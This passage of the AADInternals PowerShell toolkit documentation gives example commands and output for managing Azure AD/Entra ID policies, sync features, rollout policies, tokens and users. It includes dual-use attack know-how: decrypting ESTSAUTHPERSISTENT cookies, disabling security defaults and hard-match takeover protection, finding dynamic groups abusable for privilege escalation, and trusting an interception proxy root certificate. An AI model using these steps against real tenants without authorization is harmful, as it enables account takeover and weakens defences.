objectId : 7f6ac8e5-bd21-4091-ae4c-0e48e0f4db04
deletionTimestamp :
displayName : Block NestorW
keyCredentials : {}
policyType : 18
policyDetail : {{"Version":1,"CreatedDateTime":"2022-11-18T00:16:19.461967Z","State":"Enabled
","Conditions":{"Applications":{"Include":[{"Applications":["None"]}]},"Users"
:{"Include":[{"Users":["8ab3ed0d-6668-49f7-a108-c50bb230c870"]}]}},"Controls":
[{"Control":["Block"]}],"EnforceAllPoliciesForEas":true,"IncludeOtherLegacyCli
entTypeForEvaluation":true}}
policyIdentifier :
tenantDefaultPolicy :
Get-AADIntAzureADPolicies (A)
Since version 0.8.0
Shows Azure AD policies.
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List Azure AD policies
Get-AADIntAzureADPoliciesodata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : e35e4cd3-53f8-4d65-80bb-e3279c2c1b71
deletionTimestamp :
displayName : On-Premise Authentication Flow Policy
keyCredentials : {**}
policyType : 8
policyDetail : {**}
policyIdentifier :
tenantDefaultPolicy : 8
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 259b810f-fb50-4e57-925b-ec2292c17883
deletionTimestamp :
displayName : 2/5/2021 5:53:07 AM
keyCredentials : {}
policyType : 10
policyDetail : {{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"I
sEnabled":false}}}}
policyIdentifier :
tenantDefaultPolicy : 10
Set-AADIntAzureADPolicyDetails (A)
Since version 0.8.0
Sets Azure AD policy details using Azure AD Graph API. This allows admins to modify policy details, including metadata of Conditional Access policies. Modifications are logged to audit log, but the modified properties are not shown.
Example 1:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List Azure AD policies
Get-AADIntAzureADPoliciesodata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : e35e4cd3-53f8-4d65-80bb-e3279c2c1b71
deletionTimestamp :
displayName : On-Premise Authentication Flow Policy
keyCredentials : {**}
policyType : 8
policyDetail : {**}
policyIdentifier :
tenantDefaultPolicy : 8
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 259b810f-fb50-4e57-925b-ec2292c17883
deletionTimestamp :
displayName : 2/5/2021 5:53:07 AM
keyCredentials : {}
policyType : 10
policyDetail : {{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":true}}}}
policyIdentifier :
tenantDefaultPolicy : 10
# Modify policy detail
Set-AADIntAzureADPolicyDetail -ObjectId "259b810f-fb50-4e57-925b-ec2292c17883" -PolicyDetail '{{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false}}}}'Example 2:
# Modify policy detail and display name
Set-AADIntAzureADPolicyDetail -ObjectId "259b810f-fb50-4e57-925b-ec2292c17883" -PolicyDetail '{{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false}}}}' -displayName "My Policy"Get-AADIntSelfServicePurchaseProducts (CM)
Since version 0.6.2
Lists the status of self-service purchase products.
Example:
# Get the access token
Get-AADIntAccessTokenForMSCommerce -SaveToCache
# List the self-service purchase products
Get-AADIntSelfServicePurchaseProductsProduct Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Enabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Enabled
Windows 365 Business CFQ7TTC0J203 Enabled
Power Automate per user CFQ7TTC0KP0N Enabled
Power Apps per user CFQ7TTC0KP0P Enabled
Power Automate RPA CFQ7TTC0KXG6 Enabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Enabled
Visio Plan 2 CFQ7TTC0KXN8 Enabled
Visio Plan 1 CFQ7TTC0KXN9 Enabled
Project Plan 3 CFQ7TTC0KXNC Enabled
Project Plan 1 CFQ7TTC0KXND Enabled
Power BI Pro CFQ7TTC0L3PB Enabled
Set-AADIntSelfServicePurchaseProduct (CM)
Since version 0.6.2
Change the status of the given self-service purchase product.
Example1:
# Get the access token
Get-AADIntAccessTokenForMSCommerce -SaveToCache
# Disable self-service purchase for Power BI Pro
Set-AADIntSelfServicePurchaseProduct -Id CFQ7TTC0L3PB -Enabled $falseProduct Id Status
------- -- ------
Power BI Pro CFQ7TTC0L3PB Disabled
Example2:
# Disable self-service purchase for all products
Get-AADIntSelfServicePurchaseProducts | Set-AADIntSelfServicePurchaseProduct -Enabled $falseProduct Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Disabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Disabled
Windows 365 Business CFQ7TTC0J203 Disabled
Power Automate per user CFQ7TTC0KP0N Disabled
Power Apps per user CFQ7TTC0KP0P Disabled
Power Automate RPA CFQ7TTC0KXG6 Disabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Disabled
Visio Plan 2 CFQ7TTC0KXN8 Disabled
Visio Plan 1 CFQ7TTC0KXN9 Disabled
Project Plan 3 CFQ7TTC0KXNC Disabled
Project Plan 1 CFQ7TTC0KXND Disabled
Power BI Pro CFQ7TTC0L3PB Disabled
Unprotect-AADIntEstsAuthPersistentCookie (*)
Since version 0.6.8
Decrypts and dumps users stored in ESTSAUTHPERSISTENT.
Example:
# Decrypt the ESTSAUTHPERSISTENT cookie
Unprotect-AADIntEstsAuthPersistentCookie -Cookie 0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl...name : Some User
login : user@company.com
imageAAD : work_account.png
imageMSA : personal_account.png
isLive : False
isGuest : False
link : user@company.com
authUrl :
isSigned : True
sessionID : 1fb5e6b3-09a4-4ceb-bcad-3d6d0ee89bf7
domainHint :
isWindows : False
name : Another User
login : user2@company.com
imageAAD : work_account.png
imageMSA : personal_account.png
isLive : False
isGuest : False
link : user2@company.com
authUrl :
isSigned : False
sessionID : 1fb5e6b3-09a4-4ceb-bcad-3d6d0ee89bf7
domainHint :
isWindows : False
Remove-AADIntUserFromEstsAuthPersistentCookie (*)
Since version 0.9.6
Removes the given user from ESTSAUTH or ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
The signed in user or the only user can’t be removed.
Example:
# Remove user from ESTSAUTHPERSISTENT cookie
$ESTSCookie = Remove-AADIntUserFromEstsAuthPersistentCookie -UserName "user@company.com" -Cookie "0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl..."Get-AADIntSyncFeatures (A)
Since version 0.6.7
Show the status of synchronisation features.
Example:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List the status of the sync features
Get-AADIntSyncFeaturesBlockCloudObjectTakeoverThroughHardMatch : True
BlockSoftMatch : False
DeviceWriteback : False
DirectoryExtensions : False
DuplicateProxyAddressResiliency : True
DuplicateUPNResiliency : True
EnableSoftMatchOnUpn : True
EnableUserForcePasswordChangeOnLogon : False
EnforceCloudPasswordPolicyForPasswordSyncedUsers : False
PassThroughAuthentication : False
PasswordHashSync : True
PasswordWriteBack : False
SynchronizeUpnForManagedUsers : True
UnifiedGroupWriteback : False
UserWriteback : False
Set-AADIntSyncFeatures (A)
Since version 0.6.7
Enables or disables synchronisation features using Azure AD Sync API.
As such, doesn’t require “Global Administrator” credentials, “Directory Synchronization Accounts” credentials will do.
Example:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Enable PHS and disable BlockCloudObjectTakeoverThroughHardMatch
Set-AADIntSyncFeature -EnableFeatures PasswordHashSync -DisableFeatures BlockCloudObjectTakeoverThroughHardMatchBlockCloudObjectTakeoverThroughHardMatch : True
BlockSoftMatch : False
DeviceWriteback : False
DirectoryExtensions : False
DuplicateProxyAddressResiliency : True
DuplicateUPNResiliency : True
EnableSoftMatchOnUpn : True
EnableUserForcePasswordChangeOnLogon : False
EnforceCloudPasswordPolicyForPasswordSyncedUsers : False
PassThroughAuthentication : False
PasswordHashSync : True
PasswordWriteBack : False
SynchronizeUpnForManagedUsers : True
UnifiedGroupWriteback : False
UserWriteback : False
Get-AADIntTenantOrganisationInformation (AD)
Since version 0.6.7
Returns organisation information for the given tenant using commercial API used to get Partner Tenant information. Requires admin rights.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# Get the tenant information
Get-AADIntTenantOrganisationInformation -Domain "company.com"TenantId : 043050e2-7993-416a-ae66-108ab1951612
CompanyName : Company Ltd
StreetAddress : 10 Wall Street
ApartmentOrSuite : 666
City : New York
StateOrProvince : NY
PostalCode : 10005
CountryCode : US
PhoneNumber :
FirstName :
LastName :
Get-AADIntAzureADFeatures (A)
Since version 0.9.3
Show the status of Azure AD features.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Show status of Azure AD features
Get-AADIntAzureADFeaturesFeature Enabled
------- -------
AllowEmailVerifiedUsers True
AllowInvitations True
AllowMemberUsersToInviteOthersAsMembers False
AllowUsersToChangeTheirDisplayName False
B2CFeature False
BlockAllTenantAuth False
ConsentedForMigrationToPublicCloud False
CIAMFeature False
CIAMTrialFeature False
CIAMTrialUpgrade False
EnableExchangeDualWrite False
EnableHiddenMembership False
EnableSharedEmailDomainApis False
EnableWindowsLegacyCredentials False
EnableWindowsSupplementalCredentials False
ElevatedGuestsAccessEnabled False
ExchangeDualWriteUsersV1 False
GuestsCanInviteOthersEnabled True
InvitationsEnabled True
LargeScaleTenant False
TestTenant False
USGovTenant False
DisableOnPremisesWindowsLegacyCredentialsSync False
DisableOnPremisesWindowsSupplementalCredentialsSync False
RestrictPublicNetworkAccess False
AutoApproveSameTenantRequests False
RedirectPpeUsersToMsaInt False
LegacyTlsExceptionForEsts False
LegacyTlsBlockForEsts False
TenantAuthBlockReasonFraud False
TenantAuthBlockReasonLifecycle False
TenantExcludeDeprecateAADLicenses False
Get-AADIntAzureADFeature (A)
Since version 0.9.3
Show the status of given Azure AD feature.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Show status of Azure AD feature
Get-AADIntAzureADFeature -Feature "B2CFeature"False
Set-AADIntAzureADFeature (A)
Since version 0.9.3
Enables or disables the given Azure AD feature.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Enable Azure AD feature
Set-AADIntAzureADFeature -Feature "B2CFeature" -Enable $trueFeature Enabled
------- -------
B2CFeature True
Get-AADIntDynamicAbusableGroups (A)
Since version 0.9.6
Return Entra ID groups with dynamic membership rule that contains attributes that can be modified by users.
Related articles:
https://medium.com/r3d-buck3t/abusing-dynamic-groups-in-azuread-part-1-ff12e328c8c0
https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Find abusable dynamic groups
Get-AADIntDynamicAbusableGroupsabusableRule groupId
------------ -------
(user.userType -eq "Member") -or (user.city -eq "Redmond") 69d8fc52-d45e-47a2-972a-6c99e057ead1
Get-AADIntAppConsentInfo
Since version 0.9.6
Shows the consent information of the given application client id by using authorization code flow.
Example:
# Save credentials
$creds = Get-Credential
# Show app consent information
Get-AADIntAppConsentInfo -Credentials $creds -ClientId "5a2d9517-0fe6-48ea-b09c-3c5ae4a3e7dc"Name : www.myo365.site
VerifiedPublisher : Gerenios Oy
WebSite : www.gerenios.com
Created : 10/26/2017
TermsOfService :
PrivacyStatement :
Logo : https://secure.aadcdn.microsoftonline-p.com/c1c6b6c8-okmfqodscgr7krbq5-p48zooio1tqm9g2zcpryoikta/appbranding/ppgci70
wmk0edve-emzqa3tqk03sidrimjcehxhp-c/1033/bannerlogo?ts=636706112039062792
InDifferentTenant : True
Scopes : {@{label=Sign you in and read your profile; description=Allows you to sign in to the app with your work account and
let the app read your profile. It also allows the app to read basic company information.; adminLabel=Sign in and rea
d user profile; adminDescription=Allows users to sign in to the app, and allows the app to read the profile of signe
d-in users. It also allow the app to read basic company information of signed-in users.}}
ReplyUrls : {https://www.gerenios.com}
Rollout policy functions
Rollout policy functions allows manipulating rollout policies. You list, create, edit, and delete policies. You can also add or remove groups from policies.
When rollout policy is disabled from Azure Admin center, it still exists in Azure AD even though it is not visible. AADInternals allows you to list and delete also these policies.
Get-AADIntRolloutPolicies (M)
Since version 0.4.5
Gets the tenant’s rollout policies. Rollout policies allows organisations to transition from federation to cloud authentication in stages.
This function can be used to list rollout policies not visible in Azure Admin center.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
Set-AADIntRolloutPolicy (M)
Since version 0.4.5
Creates a new rollout policy or edits existing one. Supported policy types are passwordHashSync (PHS), passthroughAuthentication (PTA), and seamlessSso (SSSO)
Example 1:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Create a new PTA rollout policy
Set-AADIntRolloutPolicy -Policy passthroughAuthentication -Enable $trueOutput:
@odata.context : https://graph.microsoft.com/beta/$metadata#directory/featureRolloutPolicies/$entity
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
Example 2:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
# Disable PTA policy
Set-AADIntRolloutPolicy -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d -Enable $FalseRemove-AADIntRolloutPolicy (M)
Since version 0.4.5
Removes the given rollout policy. The policy MUST be disabled before it can be removed. If not, it won’t be removed but no error is given.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
# Remove PTA policy
Remove-AADIntRolloutPolicy -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241dGet-AADIntRolloutPolicyGroups (M)
Since version 0.4.5
Lists the groups of the given rollout policy.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
# List the groups of PTA policy
Get-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241dOutput:
displayName id
----------- --
PTA SSO Sales b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3
PTA SSO Marketing f35d712f-dcdb-4040-a93d-ffd04aff3f75
Add-AADIntRolloutPolicyGroups (M)
Since version 0.4.5
Adds given groups to the given rollout policy.
Return value meanings:
| Status | Description |
|---|---|
| 204 | The group successfully added |
| 400 | Invalid group id |
| 404 | Invalid policy id |
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
# Add two groups to the PTA policy
Add-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d -GroupIds b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3,f35d712f-dcdb-4040-a93d-ffd04aff3f75Output:
id status
-- ------
b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3 204
f35d712f-dcdb-4040-a93d-ffd04aff3f75 204
Remove-AADIntRolloutPolicyGroups (M)
Since version 0.4.5
Removes given groups from the given rollout policy.
Return value meanings:
| Status | Description |
|---|---|
| 204 | The group successfully added |
| 400 | Invalid group id |
| 404 | Invalid policy id |
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# List the rollout policies
Get-AADIntRolloutPoliciesOutput:
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
# List the groups of PTA policy
Get-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241dOutput:
displayName id
----------- --
PTA SSO Sales b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3
PTA SSO Marketing f35d712f-dcdb-4040-a93d-ffd04aff3f75
# Remove "PTA SSO Sales" and "PTA SSO Marketing" groups from PTA policy
Remove-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d -GroupIds b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3,f35d712f-dcdb-4040-a93d-ffd04aff3f75Output:
id status
-- ------
b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3 204
f35d712f-dcdb-4040-a93d-ffd04aff3f75 204
Utilities
Utilities provide the functionality for troubleshooting etc.
Read-AADIntAccesstoken (*)
This function show access (and id and refresh) token information. For debugging, the most important values are the audience (aud) and the issuer (iss). Use -validate switch to validate the signature and to check the expiration.
You can also show details from the token copied from the browser session’s authorization -header.
Example1:
# Show access token information
$at = Get-AADIntAccessTokenForAADGraph
Read-AADIntAccesstoken $atOutput1:
aud : https://graph.windows.net
iss : https://sts.windows.net/fe177079-66f4-4f9f-bcb6-e085b92e3c8a/
iat : 1540478026
nbf : 1540478026
exp : 1540481926
acr : 1
aio : ASQA2/8JAAAAXhS3vMo2OGlXvBZG0tScm9njsJUDhvoHtwdSlUx2Jvg=
amr : {pwd}
appid : 1b730954-1685-4b74-9bfd-dac224a7b894
appidacr : 0
family_name : demo
given_name : admin
ipaddr : 127.0.0.1
name : admin demo
oid : 69be7da7-e29f-4753-b8c7-0417a63a1804
puid : 1003BFFDABE606EE
scp : user_impersonation
sub : SaN7kFxdXhzQN6B7C8ThGEg4gBIrcXo3lzcayeoReps
tenant_region_scope : EU
tid : 6217f557-602d-4fc8-b2f9-5cb948f6ce26
unique_name : admin@company.onmicrosoft.com
upn : admin@company.onmicrosoft.com
uti : bH3Bzy9D5ESLcW_S0KkoAA
ver : 1.0
Example2:
# Show access token information
Read-AADIntAccesstoken $at -ValidateOutput1:
Read-Accesstoken : Access Token is expired
At line:1 char:1
+ Read-Accesstoken -AccessToken $at -Validate -verbose
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Read-Accesstoken
aud : https://graph.windows.net
iss : https://sts.windows.net/fe177079-66f4-4f9f-bcb6-e085b92e3c8a/
iat : 1540478026
nbf : 1540478026
exp : 1540481926
acr : 1
aio : ASQA2/8JAAAAXhS3vMo2OGlXvBZG0tScm9njsJUDhvoHtwdSlUx2Jvg=
amr : {pwd}
appid : 1b730954-1685-4b74-9bfd-dac224a7b894
appidacr : 0
family_name : demo
given_name : admin
ipaddr : 127.0.0.1
name : admin demo
oid : 69be7da7-e29f-4753-b8c7-0417a63a1804
puid : 1003BFFDABE606EE
scp : user_impersonation
sub : SaN7kFxdXhzQN6B7C8ThGEg4gBIrcXo3lzcayeoReps
tenant_region_scope : EU
tid : 6217f557-602d-4fc8-b2f9-5cb948f6ce26
unique_name : admin@company.onmicrosoft.com
upn : admin@company.onmicrosoft.com
uti : bH3Bzy9D5ESLcW_S0KkoAA
ver : 1.0
Get-AADIntImmutableID (*)
This function returns ImmutableId for the given ADUser -object. Must be run on a computer having ActiveDirectory -module
Example:
# Get ADUser object
$user=Get-ADUser "myuser"
# Get ImmutableId for the ADUser
Get-AADIntImmutableID -ADUser $userOutput:
Zjk1OGUxZTctNDE4ZS00Njk5LTg1ZjgtN2YyNGM2NTcwNW==
Start-AADIntCloudShell ( C)
Since version 0.4.3
Starts an Azure Cloud Shell (PowerShell) session for the given user. Use -shell bash parameter to start Bash session.
Note! Does not work with VSCode or ISE.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForCloudShell -SaveToCache
# Start the cloud shell (PowerShell)
Start-AADIntCloudShellSet-AADIntProxySettings 😈
Since version 0.6.6
Sets proxy settings of the local Windows machine for:
- .NET Framework (both 32 & 64 bit) by editing machine.config
- LocalSystem using BITSAdmin
- NetworkService using BITSAdmin
- winhttp using netsh
- Local user by modifying registry
- Machine level by modifying registry
- Force machine level proxy by modifying registry
Trusts Fiddler or Burp root certificate by importing it to Local Machine trusted root certificates store
Example 1:
# Set proxy settings
Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
Example 2:
# Set proxy settings and trust Fiddler root certificate
Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddlerSetting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
Trusting Fiddler root certificate:
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
Thumbprint Subject
---------- -------
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
Convert-AADIntObjectIDtoSID
Since version 0.9.6
Converts Entra ID ObjectID to Entra ID SID used in Entra ID joined devices and access tokens. The resulting SID always starts with S‑1‑12‑1
Example:
# Convert object ID to SID
Convert-AADIntObjectIDtoSID -ObjectID "e06e3596-82c0-4f31-ac5a-439a308e3dc2"S-1-12-1-3765319062-1328644800-2588105388-3258814000
Convert-AADIntSIDtoObjectID
Since version 0.9.6
Converts Entra ID SID used in Entra ID joined devices and access tokens to Entra ID ObjectID. The SID must start with S‑1‑12‑1
Example:
# Convert SID to object ID
Convert-AADIntSIDtoObjectID -SID "S-1-12-1-3765319062-1328644800-2588105388-3258814000"e06e3596-82c0-4f31-ac5a-439a308e3dc2
User manipulation
User manipulation functions provide the basic user adding/editing/deleting functionality and some extras.
Get-AADIntUsers (A)
This function returns users of the tenant.
Example:
# Get users
Get-AADIntUsers | Select UserPrincipalName,ObjectId,ImmutableIdOutput:
UserPrincipalName ObjectId ImmutableId
----------------- -------- -----------
LeeG@company.com 2eee0a36-9e2f-4985-80e1-4172ed8b3213 7jYndBUFCEqlXQNZEO3uwQ==
LidiaH@company.com 34289155-2798-432d-9398-53e7e0918f38 W3clIieLs0ivUeoY1lu1fg==
AllanD@company.com 3a0eea57-9f74-4ee5-8e84-353c35581cc2 BzPotuy3G0ySBJN5tZwB4w==
Get-AADIntUser (A)
This function returns information for the given user.
Example:
# Get user information
Get-AADIntUser -UserPrincipalName "LeeG@company.com"Output:
AlternateEmailAddresses :
AlternateMobilePhones :
AlternativeSecurityIds :
BlockCredential : false
City :
CloudExchangeRecipientDisplayType : 1073741824
Country :
Department : Manufacturing
DirSyncProvisioningErrors :
DisplayName : Lee Gu
Errors :
Fax :
FirstName : Lee
ImmutableId : 7jYndBUFCEqlXQNZEO3uwQ==
IndirectLicenseErrors :
IsBlackberryUser : false
IsLicensed : true
LastDirSyncTime : 2018-06-26T11:04:16Z
LastName : Gu
LastPasswordChangeTimestamp : 2017-10-03T04:44:43Z
LicenseAssignmentDetails : LicenseAssignmentDetails
LicenseReconciliationNeeded : false
Licenses : Licenses
LiveId : 1003BFFDABE61DB7
MSExchRecipientTypeDetails :
MSRtcSipDeploymentLocator :
MSRtcSipPrimaryUserAddress :
MobilePhone :
OathTokenMetadata :
ObjectId : 2eee0a36-9e2f-4985-80e1-4172ed8b3213
Office : 23/3101
OverallProvisioningStatus : PendingInput
PasswordNeverExpires : true
PasswordResetNotRequiredDuringActivate : true
PhoneNumber : +1 913 555 0101
PortalSettings :
PostalCode : 66210
PreferredDataLocation :
PreferredLanguage :
ProxyAddresses : ProxyAddresses
ReleaseTrack :
ServiceInformation :
SignInName : LeeG@company.com
SoftDeletionTimestamp :
State : KS
StreetAddress : 10801 Mastin Blvd., Suite 620
StrongAuthenticationMethods :
StrongAuthenticationPhoneAppDetails :
StrongAuthenticationProofupTime :
StrongAuthenticationRequirements :
StrongAuthenticationUserDetails :
StrongPasswordRequired : true
StsRefreshTokensValidFrom : 2017-10-03T04:44:43Z
Title : Director
UsageLocation : FI
UserLandingPageIdentifierForO365Shell :
UserPrincipalName : LeeG@company.com
UserThemeIdentifierForO365Shell :
UserType : Member
ValidationStatus : Healthy
WhenCreated : 2018-06-26T11:04:14Z
New-AADIntUser (A)
This function creates a new user. Currently supports only UserPrincipalName and DisplayName.
Example:
# Get login information for a domain
New-AADIntUser -UserPrincipalName "user@company.com" -DisplayName "New User"Output:
